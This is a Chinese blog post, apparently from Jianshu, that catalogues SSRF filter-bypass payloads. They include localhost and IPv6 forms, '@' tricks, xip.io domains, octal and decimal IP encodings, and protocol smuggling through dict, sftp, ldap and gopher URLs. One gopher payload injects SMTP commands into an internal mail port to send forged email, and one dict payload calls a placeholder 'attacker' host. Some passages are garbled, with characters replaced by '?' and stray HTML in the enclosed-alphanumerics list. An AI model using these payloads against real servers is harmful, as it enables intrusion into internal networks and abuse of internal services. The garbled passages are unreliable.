SSRF繞過方法總結

前言

昨天忘了在公眾號還是微博上看到的了,看到一個SSRF繞過的技巧,使用的是
???????.???
繞過的,自己也沒遇到過。然后想想自己對SSRF繞過還是停留在之前的了解,也沒學習過新的繞過方法,所以特意找了找資料,學習學習最新黑科技,充充能。

0x00 SSRF是什么

能精簡的就不扯淡,一句話就是:利用一個可以發起網絡請求的服務當作跳板來攻擊內部其他服務。

0x01 SSRF能干什么

  • 探測內網信息
  • 攻擊內網或本地其他服務
  • 穿透防火墻
  • 。。。

0x02 SSRF怎么找

  • 能夠對外發起網絡請求的地方
  • 請求遠程服務器資源的地方
  • 數據庫內置功能
  • 郵件系統
  • 文件處理
  • 在線處理工具
  • 。。。

舉幾個例子:

  1. 在線識圖,在線文檔翻譯,分享,訂閱等,這些有的都會發起網絡請求。
  2. 根據遠程URL上傳,靜態資源圖片等,這些會請求遠程服務器的資源。
  3. 數據庫的比如mongodb的copyDatabase函數,這點看豬豬俠講的吧,沒實踐過。
  4. 郵件系統就是接收郵件服務器地址這些地方。
  5. 文件就找ImageMagick,xml這些。
  6. 從URL關鍵字中尋找,比如:source,share,link,src,imageurl,target等。

以上這些不是本文的重點,下面說下重點介紹的SSRF繞過的方法。

0x03 SSRF怎么繞

1、攻擊本地

http://127.0.0.1:80
http://localhost:22

2、利用[::]

利用[::]繞過localhost
http://[::]:80/  >>>  http://127.0.0.1

也有看到利用http://0000::1:80/的,但是我測試未成功
3、利用@

http://example.com@127.0.0.1

4、利用短地址

http://dwz.cn/11SMa  >>>  http://127.0.0.1

5、利用特殊域名
利用的原理是DNS解析

http://127.0.0.1.xip.io/
http://www.owasp.org.127.0.0.1.xip.io/


6、利用DNS解析
在域名上設置A記錄,指向127.0.1

7、利用上傳

也不一定是上傳,我也說不清,自己體會 -.-
修改"type=file"為"type=url"
比如:
上傳圖片處修改上傳,將圖片文件修改為URL,即可能觸發SSRF

8、利用Enclosed alphanumerics

`利用Enclosed alphanumerics`
`???????.???  >>>  example.com`
`List``:`
`① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ? ? ? ? ? ? ? ? ? ? `
`⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ `
`⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ `
`? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? `
`? ? ? ? ? ? ? ? ? ? ? ? <img` `class``=``"emoji"`
`draggable``=``"false"`
`alt``=``"![?](http://upload-images.jianshu.io/upload_images/9193311-cb89e04b84c05fb6.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
"`
`src``=``"https://s.w.org/images/core/emoji/72x72/24c2.png"``> ? ? ? ? ? ? ? ? ? ? ? ? ? `
`? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? `
`? ? ? ? ? ? ? ? ? ? ? `
`? ? ? ? ? ? ? ? ? ? ?`

9、利用句號

127。0。0。1  >>>  127.0.0.1

10、利用進制轉換

可以是十六進制,八進制等。
115.239.210.26  >>>  16373751032
首先把這四段數字給分別轉成16進制,結果:73 ef d2 1a
然后把 73efd21a 這十六進制一起轉換成8進制
記得訪問的時候加0表示使用八進制(可以是一個0也可以是多個0 跟XSS中多加幾個0來繞過過濾一樣),十六進制加0x
http://127.0.0.1  >>>  http://0177.0.0.1/
http://127.0.0.1  >>>  http://2130706433/
http://192.168.0.1  >>>  http://3232235521/
http://192.168.1.1  >>>  http://3232235777/

11、利用特殊地址

http://0/

12、利用協議

Dict://
dict://<user-auth>@<host>:<port>/d:<word>
ssrf.php?url=dict://attacker:11111/
SFTP://
ssrf.php?url=sftp://example.com:11111/
TFTP://
ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET
LDAP://
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
Gopher://
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a

13、使用組合
各種繞過進行自由組合即可

參考鏈接:

?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。

推薦閱讀更多精彩內容